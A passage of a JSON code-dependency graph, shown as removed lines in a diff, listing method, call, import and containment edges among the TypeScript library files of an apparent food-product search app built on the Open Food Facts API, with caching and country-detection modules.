- "confidence": "EXTRACTED",
- "source_file": "lib/cacheManager.ts",
- "source_location": "L80",
- "weight": 1.0,
- "source": "lib_cachemanager_ts",
- "target": "lib_cachemanager_cachemanager_getcacheindex",
- "confidence_score": 1.0
- },
- {
- "relation": "method",
- "confidence": "EXTRACTED",
- "source_file": "lib/cacheManager.ts",
- "source_location": "L92",
- "weight": 1.0,
- "source": "lib_cachemanager_ts",
- "target": "lib_cachemanager_cachemanager_updatecacheindex",
- "confidence_score": 1.0
- },
- {
- "relation": "method",
- "confidence": "EXTRACTED",
- "source_file": "lib/cacheManager.ts",
- "source_location": "L103",
- "weight": 1.0,
- "source": "lib_cachemanager_ts",
- "target": "lib_cachemanager_cachemanager_getobjectsize",
- "confidence_score": 1.0
- },
- {
- "relation": "method",
- "confidence": "EXTRACTED",
- "source_file": "lib/cacheManager.ts",
- "source_location": "L110",
- "weight": 1.0,
- "source": "lib_cachemanager_ts",
- "target": "lib_cachemanager_cachemanager_cleanupoldcaches",
- "confidence_score": 1.0
- },
- {
- "relation": "method",
- "confidence": "EXTRACTED",
- "source_file": "lib/cacheManager.ts",
- "source_location": "L158",
- "weight": 1.0,
- "source": "lib_cachemanager_ts",
- "target": "lib_cachemanager_cachemanager_savesearch",
- "confidence_score": 1.0
- },
- {
- "relation": "method",
- "confidence": "EXTRACTED",
- "source_file": "lib/cacheManager.ts",
- "source_location": "L210",
- "weight": 1.0,
- "source": "lib_cachemanager_ts",
- "target": "lib_cachemanager_cachemanager_getsearch",
- "confidence_score": 1.0
- },
- {
- "relation": "method",
- "confidence": "EXTRACTED",
- "source_file": "lib/cacheManager.ts",
- "source_location": "L238",
- "weight": 1.0,
- "source": "lib_cachemanager_ts",
- "target": "lib_cachemanager_cachemanager_removesearch",
- "confidence_score": 1.0
- },
- {
- "relation": "method",
- "confidence": "EXTRACTED",
- "source_file": "lib/cacheManager.ts",
- "source_location": "L261",
- "weight": 1.0,
- "source": "lib_cachemanager_ts",
- "target": "lib_cachemanager_cachemanager_clearallcaches",
- "confidence_score": 1.0
- },
- {
- "relation": "method",
- "confidence": "EXTRACTED",
- "source_file": "lib/cacheManager.ts",
- "source_location": "L274",
- "weight": 1.0,
- "source": "lib_cachemanager_ts",
- "target": "lib_cachemanager_cachemanager_getcachestats",
- "confidence_score": 1.0
- },
- {
- "relation": "method",
- "confidence": "EXTRACTED",
- "source_file": "lib/cacheManager.ts",
- "source_location": "L324",
- "weight": 1.0,
- "source": "lib_cachemanager_ts",
- "target": "lib_cachemanager_cachemanager_hasspacefordata",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "lib/cacheManager.ts",
- "source_location": "L338",
- "weight": 1.0,
- "source": "lib_cachemanager_ts",
- "target": "lib_cachemanager_usecachemanager",
- "confidence_score": 1.0
- },
- {
- "relation": "method",
- "confidence": "EXTRACTED",
- "source_file": "lib/jsonCacheManager.ts",
- "source_location": "L23",
- "weight": 1.0,
- "source": "lib_jsoncachemanager_ts",
- "target": "lib_cachemanager_cachemanager_constructor",
- "confidence_score": 1.0
- },
- {
- "relation": "method",
- "confidence": "EXTRACTED",
- "source_file": "lib/openFoodFactsApi.ts",
- "source_location": "L55",
- "weight": 1.0,
- "source": "lib_openfoodfactsapi_nutriscanerror",
- "target": "lib_cachemanager_cachemanager_constructor",
- "confidence_score": 1.0
- },
- {
- "relation": "calls",
- "context": "call",
- "confidence": "EXTRACTED",
- "source_file": "lib/cacheManager.ts",
- "source_location": "L169",
- "weight": 1.0,
- "source": "lib_cachemanager_cachemanager_savesearch",
- "target": "lib_cachemanager_cachemanager_generatecachekey",
- "confidence_score": 1.0
- },
- {
- "relation": "calls",
- "context": "call",
- "confidence": "EXTRACTED",
- "source_file": "lib/cacheManager.ts",
- "source_location": "L216",
- "weight": 1.0,
- "source": "lib_cachemanager_cachemanager_getsearch",
- "target": "lib_cachemanager_cachemanager_generatecachekey",
- "confidence_score": 1.0
- },
- {
- "relation": "calls",
- "context": "call",
- "confidence": "EXTRACTED",
- "source_file": "lib/cacheManager.ts",
- "source_location": "L244",
- "weight": 1.0,
- "source": "lib_cachemanager_cachemanager_removesearch",
- "target": "lib_cachemanager_cachemanager_generatecachekey",
- "confidence_score": 1.0
- },
- {
- "relation": "calls",
- "context": "call",
- "confidence": "EXTRACTED",
- "source_file": "lib/cacheManager.ts",
- "source_location": "L168",
- "weight": 1.0,
- "source": "lib_cachemanager_cachemanager_savesearch",
- "target": "lib_cachemanager_cachemanager_generatesearchid",
- "confidence_score": 1.0
- },
- {
- "relation": "calls",
- "context": "call",
- "confidence": "EXTRACTED",
- "source_file": "lib/cacheManager.ts",
- "source_location": "L112",
- "weight": 1.0,
- "source": "lib_cachemanager_cachemanager_cleanupoldcaches",
- "target": "lib_cachemanager_cachemanager_getcacheindex",
- "confidence_score": 1.0
- },
- {
- "relation": "calls",
- "context": "call",
- "confidence": "EXTRACTED",
- "source_file": "lib/cacheManager.ts",
- "source_location": "L194",
- "weight": 1.0,
- "source": "lib_cachemanager_cachemanager_savesearch",
- "target": "lib_cachemanager_cachemanager_getcacheindex",
- "confidence_score": 1.0
- },
- {
- "relation": "calls",
- "context": "call",
- "confidence": "EXTRACTED",
- "source_file": "lib/cacheManager.ts",
- "source_location": "L247",
- "weight": 1.0,
- "source": "lib_cachemanager_cachemanager_removesearch",
- "target": "lib_cachemanager_cachemanager_getcacheindex",
- "confidence_score": 1.0
- },
- {
- "relation": "calls",
- "context": "call",
- "confidence": "EXTRACTED",
- "source_file": "lib/cacheManager.ts",
- "source_location": "L263",
- "weight": 1.0,
- "source": "lib_cachemanager_cachemanager_clearallcaches",
- "target": "lib_cachemanager_cachemanager_getcacheindex",
- "confidence_score": 1.0
- },
- {
- "relation": "calls",
- "context": "call",
- "confidence": "EXTRACTED",
- "source_file": "lib/cacheManager.ts",
- "source_location": "L281",
- "weight": 1.0,
- "source": "lib_cachemanager_cachemanager_getcachestats",
- "target": "lib_cachemanager_cachemanager_getcacheindex",
- "confidence_score": 1.0
- },
- {
- "relation": "calls",
- "context": "call",
- "confidence": "EXTRACTED",
- "source_file": "lib/cacheManager.ts",
- "source_location": "L149",
- "weight": 1.0,
- "source": "lib_cachemanager_cachemanager_cleanupoldcaches",
- "target": "lib_cachemanager_cachemanager_updatecacheindex",
- "confidence_score": 1.0
- },
- {
- "relation": "calls",
- "context": "call",
- "confidence": "EXTRACTED",
- "source_file": "lib/cacheManager.ts",
- "source_location": "L197",
- "weight": 1.0,
- "source": "lib_cachemanager_cachemanager_savesearch",
- "target": "lib_cachemanager_cachemanager_updatecacheindex",
- "confidence_score": 1.0
- },
- {
- "relation": "calls",
- "context": "call",
- "confidence": "EXTRACTED",
- "source_file": "lib/cacheManager.ts",
- "source_location": "L249",
- "weight": 1.0,
- "source": "lib_cachemanager_cachemanager_removesearch",
- "target": "lib_cachemanager_cachemanager_updatecacheindex",
- "confidence_score": 1.0
- },
- {
- "relation": "calls",
- "context": "call",
- "confidence": "EXTRACTED",
- "source_file": "lib/cacheManager.ts",
- "source_location": "L182",
- "weight": 1.0,
- "source": "lib_cachemanager_cachemanager_savesearch",
- "target": "lib_cachemanager_cachemanager_getobjectsize",
- "confidence_score": 1.0
- },
- {
- "relation": "calls",
- "context": "call",
- "confidence": "EXTRACTED",
- "source_file": "lib/cacheManager.ts",
- "source_location": "L289",
- "weight": 1.0,
- "source": "lib_cachemanager_cachemanager_getcachestats",
- "target": "lib_cachemanager_cachemanager_getobjectsize",
- "confidence_score": 1.0
- },
- {
- "relation": "calls",
- "context": "call",
- "confidence": "EXTRACTED",
- "source_file": "lib/cacheManager.ts",
- "source_location": "L121",
- "weight": 1.0,
- "source": "lib_cachemanager_cachemanager_cleanupoldcaches",
- "target": "lib_geolocation_iscachevalid",
- "confidence_score": 1.0
- },
- {
- "relation": "calls",
- "context": "call",
- "confidence": "EXTRACTED",
- "source_file": "lib/cacheManager.ts",
- "source_location": "L166",
- "weight": 1.0,
- "source": "lib_cachemanager_cachemanager_savesearch",
- "target": "lib_cachemanager_cachemanager_cleanupoldcaches",
- "confidence_score": 1.0
- },
- {
- "relation": "calls",
- "context": "call",
- "confidence": "EXTRACTED",
- "source_file": "lib/cacheManager.ts",
- "source_location": "L223",
- "weight": 1.0,
- "source": "lib_cachemanager_cachemanager_getsearch",
- "target": "lib_geolocation_iscachevalid",
- "confidence_score": 1.0
- },
- {
- "relation": "calls",
- "context": "call",
- "confidence": "EXTRACTED",
- "source_file": "lib/cacheManager.ts",
- "source_location": "L326",
- "weight": 1.0,
- "source": "lib_cachemanager_cachemanager_hasspacefordata",
- "target": "lib_cachemanager_cachemanager_getcachestats",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "lib/geolocation.ts",
- "source_location": "L6",
- "weight": 1.0,
- "source": "lib_geolocation_ts",
- "target": "lib_geolocation_countryinfo",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "lib/geolocation.ts",
- "source_location": "L18",
- "weight": 1.0,
- "source": "lib_geolocation_ts",
- "target": "lib_geolocation_iscachevalid",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "lib/geolocation.ts",
- "source_location": "L35",
- "weight": 1.0,
- "source": "lib_geolocation_ts",
- "target": "lib_geolocation_getcachedcountry",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "lib/geolocation.ts",
- "source_location": "L52",
- "weight": 1.0,
- "source": "lib_geolocation_ts",
- "target": "lib_geolocation_savetocache",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "lib/geolocation.ts",
- "source_location": "L74",
- "weight": 1.0,
- "source": "lib_geolocation_ts",
- "target": "lib_geolocation_detectusercountry",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "lib/geolocation.ts",
- "source_location": "L115",
- "weight": 1.0,
- "source": "lib_geolocation_ts",
- "target": "lib_geolocation_clearcountrycache",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "lib/geolocation.ts",
- "source_location": "L124",
- "weight": 1.0,
- "source": "lib_geolocation_ts",
- "target": "lib_geolocation_getcurrentcountry",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "lib/geolocation.ts",
- "source_location": "L134",
- "weight": 1.0,
- "source": "lib_geolocation_ts",
- "target": "lib_geolocation_isbrazil",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "lib/geolocation.ts",
- "source_location": "L142",
- "weight": 1.0,
- "source": "lib_geolocation_ts",
- "target": "lib_geolocation_getcountrycodeforapi",
- "confidence_score": 1.0
- },
- {
- "relation": "calls",
- "context": "call",
- "confidence": "EXTRACTED",
- "source_file": "lib/geolocation.ts",
- "source_location": "L78",
- "weight": 1.0,
- "source": "lib_geolocation_detectusercountry",
- "target": "lib_geolocation_iscachevalid",
- "confidence_score": 1.0
- },
- {
- "relation": "calls",
- "context": "call",
- "confidence": "EXTRACTED",
- "source_file": "lib/geolocation.ts",
- "source_location": "L125",
- "weight": 1.0,
- "source": "lib_geolocation_getcurrentcountry",
- "target": "lib_geolocation_iscachevalid",
- "confidence_score": 1.0
- },
- {
- "relation": "calls",
- "context": "call",
- "confidence": "EXTRACTED",
- "source_file": "lib/geolocation.ts",
- "source_location": "L79",
- "weight": 1.0,
- "source": "lib_geolocation_detectusercountry",
- "target": "lib_geolocation_getcachedcountry",
- "confidence_score": 1.0
- },
- {
- "relation": "calls",
- "context": "call",
- "confidence": "EXTRACTED",
- "source_file": "lib/geolocation.ts",
- "source_location": "L126",
- "weight": 1.0,
- "source": "lib_geolocation_getcurrentcountry",
- "target": "lib_geolocation_getcachedcountry",
- "confidence_score": 1.0
- },
- {
- "relation": "calls",
- "context": "call",
- "confidence": "EXTRACTED",
- "source_file": "lib/geolocation.ts",
- "source_location": "L100",
- "weight": 1.0,
- "source": "lib_geolocation_detectusercountry",
- "target": "lib_geolocation_savetocache",
- "confidence_score": 1.0
- },
- {
- "relation": "calls",
- "context": "call",
- "confidence": "EXTRACTED",
- "source_file": "lib/geolocation.ts",
- "source_location": "L135",
- "weight": 1.0,
- "source": "lib_geolocation_isbrazil",
- "target": "lib_geolocation_getcurrentcountry",
- "confidence_score": 1.0
- },
- {
- "relation": "calls",
- "context": "call",
- "confidence": "EXTRACTED",
- "source_file": "lib/geolocation.ts",
- "source_location": "L143",
- "weight": 1.0,
- "source": "lib_geolocation_getcountrycodeforapi",
- "target": "lib_geolocation_getcurrentcountry",
- "confidence_score": 1.0
- },
- {
- "relation": "imports_from",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "lib/jsonCacheManager.ts",
- "source_location": "L9",
- "weight": 1.0,
- "source": "lib_jsoncachemanager_ts",
- "target": "lib_openfoodfactsapi_ts",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "lib/jsonCacheManager.ts",
- "source_location": "L9",
- "weight": 1.0,
- "source": "lib_jsoncachemanager_ts",
- "target": "lib_openfoodfactsapi_product",
- "confidence_score": 1.0
- },
- {
- "relation": "imports_from",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "lib/jsonCacheManager.ts",
- "source_location": "L10",
- "weight": 1.0,
- "source": "lib_jsoncachemanager_ts",
- "target": "lib_types_ts",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "lib/jsonCacheManager.ts",
- "source_location": "L10",
- "weight": 1.0,
- "source": "lib_jsoncachemanager_ts",
- "target": "lib_types_cachedproduct",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "lib/jsonCacheManager.ts",
- "source_location": "L10",
- "weight": 1.0,
- "source": "lib_jsoncachemanager_ts",
- "target": "lib_types_storagestats",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "lib/jsonCacheManager.ts",
- "source_location": "L12",
- "weight": 1.0,
- "source": "lib_jsoncachemanager_ts",
- "target": "lib_jsoncachemanager_jsoncachedata",
- "confidence_score": 1.0
- },
- {
- "relation": "method",
- "confidence": "EXTRACTED",
- "source_file": "lib/jsonCacheManager.ts",
- "source_location": "L46",
- "weight": 1.0,
- "source": "lib_jsoncachemanager_ts",
- "target": "lib_jsoncachemanager_jsoncachemanager_getinstance",
- "confidence_score": 1.0
- },
- {
- "relation": "method",
- "confidence": "EXTRACTED",
- "source_file": "lib/jsonCacheManager.ts",
- "source_location": "L56",
- "weight": 1.0,
- "source": "lib_jsoncachemanager_ts",
- "target": "lib_jsoncachemanager_jsoncachemanager_loadcache",
- "confidence_score": 1.0
- },
- {
- "relation": "method",
- "confidence": "EXTRACTED",
- "source_file": "lib/jsonCacheManager.ts",
- "source_location": "L89",
- "weight": 1.0,
- "source": "lib_jsoncachemanager_ts",
- "target": "lib_jsoncachemanager_jsoncachemanager_savecache",
- "confidence_score": 1.0
- },
- {
- "relation": "method",
- "confidence": "EXTRACTED",
- "source_file": "lib/jsonCacheManager.ts",
- "source_location": "L111",
- "weight": 1.0,
- "source": "lib_jsoncachemanager_ts",
- "target": "lib_jsoncachemanager_jsoncachemanager_converttocachedproduct",
- "confidence_score": 1.0
- },
- {
- "relation": "method",
- "confidence": "EXTRACTED",
- "source_file": "lib/jsonCacheManager.ts",
- "source_location": "L125",
- "weight": 1.0,
- "source": "lib_jsoncachemanager_ts",
- "target": "lib_jsoncachemanager_jsoncachemanager_converttoapiproduct",
- "confidence_score": 1.0
- },
- {
- "relation": "method",
- "confidence": "EXTRACTED",
- "source_file": "lib/jsonCacheManager.ts",
- "source_location": "L134",
- "weight": 1.0,
- "source": "lib_jsoncachemanager_ts",
- "target": "lib_jsoncachemanager_jsoncachemanager_mergeproductdata",
- "confidence_score": 1.0
- },
- {
- "relation": "method",
- "confidence": "EXTRACTED",
- "source_file": "lib/jsonCacheManager.ts",
- "source_location": "L152",
- "weight": 1.0,
- "source": "lib_jsoncachemanager_ts",
- "target": "lib_searchutils_calculaterelevancescore",
- "confidence_score": 1.0
- },
- {
- "relation": "method",
- "confidence": "EXTRACTED",
- "source_file": "lib/jsonCacheManager.ts",
- "source_location": "L188",
- "weight": 1.0,
- "source": "lib_jsoncachemanager_ts",
- "target": "lib_jsoncachemanager_jsoncachemanager_getproductbycode",
- "confidence_score": 1.0
- },
- {
- "relation": "method",
- "confidence": "EXTRACTED",
- "source_file": "lib/jsonCacheManager.ts",
- "source_location": "L211",
- "weight": 1.0,
- "source": "lib_jsoncachemanager_ts",
- "target": "lib_jsoncachemanager_jsoncachemanager_searchproducts",
- "confidence_score": 1.0
- },
- {
- "relation": "method",
- "confidence": "EXTRACTED",
- "source_file": "lib/jsonCacheManager.ts",
- "source_location": "L327",
- "weight": 1.0,
- "source": "lib_jsoncachemanager_ts",
- "target": "lib_jsoncachemanager_jsoncachemanager_saveproduct",
- "confidence_score": 1.0
- },
- {
- "relation": "method",
- "confidence": "EXTRACTED",
- "source_file": "lib/jsonCacheManager.ts",
- "source_location": "L384",
- "weight": 1.0,
- "source": "lib_jsoncachemanager_ts",
- "target": "lib_jsoncachemanager_jsoncachemanager_getstoragestats",
- "confidence_score": 1.0
- },
- {
- "relation": "method",
- "confidence": "EXTRACTED",
- "source_file": "lib/jsonCacheManager.ts",
- "source_location": "L431",
- "weight": 1.0,
- "source": "lib_jsoncachemanager_ts",
- "target": "lib_jsoncachemanager_jsoncachemanager_clearcache",
- "confidence_score": 1.0
- },
- {
- "relation": "method",
- "confidence": "EXTRACTED",
- "source_file": "lib/jsonCacheManager.ts",
- "source_location": "L450",
- "weight": 1.0,
- "source": "lib_jsoncachemanager_ts",
- "target": "lib_jsoncachemanager_jsoncachemanager_isinitialized",
- "confidence_score": 1.0
- },
- {
- "relation": "calls",
- "context": "call",
- "confidence": "EXTRACTED",
- "source_file": "lib/jsonCacheManager.ts",
- "source_location": "L190",
- "weight": 1.0,
- "source": "lib_jsoncachemanager_jsoncachemanager_getproductbycode",
- "target": "lib_jsoncachemanager_jsoncachemanager_loadcache",
- "confidence_score": 1.0
- },
- {
- "relation": "calls",
- "context": "call",
- "confidence": "EXTRACTED",
- "source_file": "lib/jsonCacheManager.ts",
- "source_location": "L222",
- "weight": 1.0,
- "source": "lib_jsoncachemanager_jsoncachemanager_searchproducts",
- "target": "lib_jsoncachemanager_jsoncachemanager_loadcache",
- "confidence_score": 1.0
- },
- {
- "relation": "calls",
- "context": "call",
- "confidence": "EXTRACTED",
- "source_file": "lib/jsonCacheManager.ts",
- "source_location": "L335",
- "weight": 1.0,
- "source": "lib_jsoncachemanager_jsoncachemanager_saveproduct",
- "target": "lib_jsoncachemanager_jsoncachemanager_loadcache",
- "confidence_score": 1.0
- },
- {
- "relation": "calls",
- "context": "call",
- "confidence": "EXTRACTED",
- "source_file": "lib/jsonCacheManager.ts",
- "source_location": "L386",
- "weight": 1.0,
- "source": "lib_jsoncachemanager_jsoncachemanager_getstoragestats",
- "target": "lib_jsoncachemanager_jsoncachemanager_loadcache",
- "confidence_score": 1.0
- },
- {
- "relation": "calls",
- "context": "call",
- "confidence": "EXTRACTED",
- "source_file": "lib/jsonCacheManager.ts",
- "source_location": "L452",
- "weight": 1.0,
- "source": "lib_jsoncachemanager_jsoncachemanager_isinitialized",
- "target": "lib_jsoncachemanager_jsoncachemanager_loadcache",
- "confidence_score": 1.0
- },
- {
- "relation": "calls",
- "context": "call",
- "confidence": "EXTRACTED",
- "source_file": "lib/jsonCacheManager.ts",
- "source_location": "L370",
- "weight": 1.0,
- "source": "lib_jsoncachemanager_jsoncachemanager_saveproduct",
- "target": "lib_jsoncachemanager_jsoncachemanager_savecache",
- "confidence_score": 1.0
- },
- {
- "relation": "calls",
- "context": "call",
- "confidence": "EXTRACTED",
- "source_file": "lib/jsonCacheManager.ts",
- "source_location": "L438",
- "weight": 1.0,
- "source": "lib_jsoncachemanager_jsoncachemanager_clearcache",
- "target": "lib_jsoncachemanager_jsoncachemanager_savecache",
- "confidence_score": 1.0
- },
- {
- "relation": "calls",
- "context": "call",
- "confidence": "EXTRACTED",
- "source_file": "lib/jsonCacheManager.ts",
- "source_location": "L358",
- "weight": 1.0,
- "source": "lib_jsoncachemanager_jsoncachemanager_saveproduct",
- "target": "lib_jsoncachemanager_jsoncachemanager_converttocachedproduct",
- "confidence_score": 1.0
- },
- {
- "relation": "calls",
- "context": "call",
- "confidence": "EXTRACTED",
- "source_file": "lib/jsonCacheManager.ts",
- "source_location": "L197",
- "weight": 1.0,
- "source": "lib_jsoncachemanager_jsoncachemanager_getproductbycode",
- "target": "lib_jsoncachemanager_jsoncachemanager_converttoapiproduct",
- "confidence_score": 1.0
- },
- {
- "relation": "calls",
- "context": "call",
- "confidence": "EXTRACTED",
- "source_file": "lib/jsonCacheManager.ts",
- "source_location": "L352",
- "weight": 1.0,
- "source": "lib_jsoncachemanager_jsoncachemanager_saveproduct",
- "target": "lib_jsoncachemanager_jsoncachemanager_mergeproductdata",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "lib/openFoodFactsApi.ts",
- "source_location": "L6",
- "weight": 1.0,
- "source": "lib_openfoodfactsapi_ts",
- "target": "lib_openfoodfactsapi_product",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "lib/openFoodFactsApi.ts",
- "source_location": "L34",
- "weight": 1.0,
- "source": "lib_openfoodfactsapi_ts",
- "target": "lib_openfoodfactsapi_searchresult",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "lib/openFoodFactsApi.ts",
- "source_location": "L43",
- "weight": 1.0,
- "source": "lib_openfoodfactsapi_ts",
- "target": "lib_openfoodfactsapi_config",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "lib/openFoodFactsApi.ts",
- "source_location": "L54",
- "weight": 1.0,
- "source": "lib_openfoodfactsapi_ts",
- "target": "lib_openfoodfactsapi_nutriscanerror",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "lib/openFoodFactsApi.ts",
- "source_location": "L64",
- "weight": 1.0,
- "source": "lib_openfoodfactsapi_ts",
- "target": "lib_openfoodfactsapi_makeapirequest",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "lib/openFoodFactsApi.ts",
- "source_location": "L99",
- "weight": 1.0,
- "source": "lib_openfoodfactsapi_ts",
- "target": "lib_openfoodfactsapi_searchbybarcode",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "lib/openFoodFactsApi.ts",
- "source_location": "L118",
- "weight": 1.0,
- "source": "lib_openfoodfactsapi_ts",
- "target": "lib_openfoodfactsapi_searchbyname",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "lib/openFoodFactsApi.ts",
- "source_location": "L138",
- "weight": 1.0,
- "source": "lib_openfoodfactsapi_ts",
- "target": "lib_openfoodfactsapi_fetchallresults",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "lib/openFoodFactsApi.ts",
- "source_location": "L175",
- "weight": 1.0,
- "source": "lib_openfoodfactsapi_ts",
- "target": "lib_openfoodfactsapi_sortproducts",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "lib/openFoodFactsApi.ts",
- "source_location": "L218",
- "weight": 1.0,
- "source": "lib_openfoodfactsapi_ts",
- "target": "lib_openfoodfactsapi_calculatecompletenessscore",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "lib/openFoodFactsApi.ts",
- "source_location": "L231",
- "weight": 1.0,
- "source": "lib_openfoodfactsapi_ts",
- "target": "lib_openfoodfactsapi_getgradevalue",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "lib/openFoodFactsApi.ts",
- "source_location": "L239",
- "weight": 1.0,
- "source": "lib_openfoodfactsapi_ts",
- "target": "lib_openfoodfactsapi_formatnutritiondata",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "lib/openFoodFactsApi.ts",
- "source_location": "L264",
- "weight": 1.0,
- "source": "lib_openfoodfactsapi_ts",
- "target": "lib_openfoodfactsapi_detectsearchtype",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "lib/openFoodFactsApi.ts",
- "source_location": "L269",
- "weight": 1.0,
- "source": "lib_openfoodfactsapi_ts",
- "target": "lib_openfoodfactsapi_isvalidbarcode",
- "confidence_score": 1.0
- },
- {
- "relation": "imports_from",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "lib/searchUtils.ts",
- "source_location": "L1",
- "weight": 1.0,
- "source": "lib_searchutils_ts",
- "target": "lib_openfoodfactsapi_ts",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "lib/searchUtils.ts",
- "source_location": "L1",
- "weight": 1.0,
- "source": "lib_searchutils_ts",
- "target": "lib_openfoodfactsapi_product",
- "confidence_score": 1.0
- },
- {
- "relation": "calls",
- "context": "call",
- "confidence": "EXTRACTED",
- "source_file": "lib/openFoodFactsApi.ts",
- "source_location": "L132",
- "weight": 1.0,
- "source": "lib_openfoodfactsapi_searchbyname",
- "target": "lib_openfoodfactsapi_makeapirequest",
- "confidence_score": 1.0
- },
- {
- "relation": "calls",
- "context": "call",
- "confidence": "EXTRACTED",
- "source_file": "lib/openFoodFactsApi.ts",
- "source_location": "L151",
- "weight": 1.0,
- "source": "lib_openfoodfactsapi_fetchallresults",
- "target": "lib_openfoodfactsapi_searchbyname",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "lib/prisma.ts",
- "source_location": "L3",
- "weight": 1.0,
- "source": "lib_prisma_ts",
- "target": "lib_prisma_prisma",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "lib/searchUtils.ts",
- "source_location": "L6",
- "weight": 1.0,
- "source": "lib_searchutils_ts",
- "target": "lib_searchutils_calculaterelevancescore",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "lib/searchUtils.ts",
- "source_location": "L42",
- "weight": 1.0,
- "source": "lib_searchutils_ts",
- "target": "lib_searchutils_sortbyrelevance",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "lib/types.ts",
- "source_location": "L6",
- "weight": 1.0,
- "source": "lib_types_ts",
- "target": "lib_types_productfilters",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "lib/types.ts",
- "source_location": "L56",
- "weight": 1.0,
- "source": "lib_types_ts",
- "target": "lib_types_filteroption",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "lib/types.ts",
- "source_location": "L101",
- "weight": 1.0,
- "source": "lib_types_ts",
- "target": "lib_types_nutritiongrade",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "lib/types.ts",
- "source_location": "L134",
- "weight": 1.0,
- "source": "lib_types_ts",
- "target": "lib_types_novagroup",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "lib/types.ts",
- "source_location": "L161",
- "weight": 1.0,
- "source": "lib_types_ts",
- "target": "lib_types_sortoption",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "lib/types.ts",
- "source_location": "L85",
- "weight": 1.0,
- "source": "lib_types_ts",
- "target": "lib_types_filterstate",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "lib/types.ts",
- "source_location": "L92",
- "weight": 1.0,
- "source": "lib_types_ts",
- "target": "lib_types_filtersidebarprops",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "lib/types.ts",
- "source_location": "L237",
- "weight": 1.0,
- "source": "lib_types_ts",
- "target": "lib_types_popular_categories",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "lib/types.ts",
- "source_location": "L253",
- "weight": 1.0,
- "source": "lib_types_ts",
- "target": "lib_types_popular_categories_with_icons",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "lib/types.ts",
- "source_location": "L269",
- "weight": 1.0,
- "source": "lib_types_ts",
- "target": "lib_types_common_allergens",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "lib/types.ts",
- "source_location": "L282",
- "weight": 1.0,
- "source": "lib_types_ts",
- "target": "lib_types_common_additives",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "lib/types.ts",
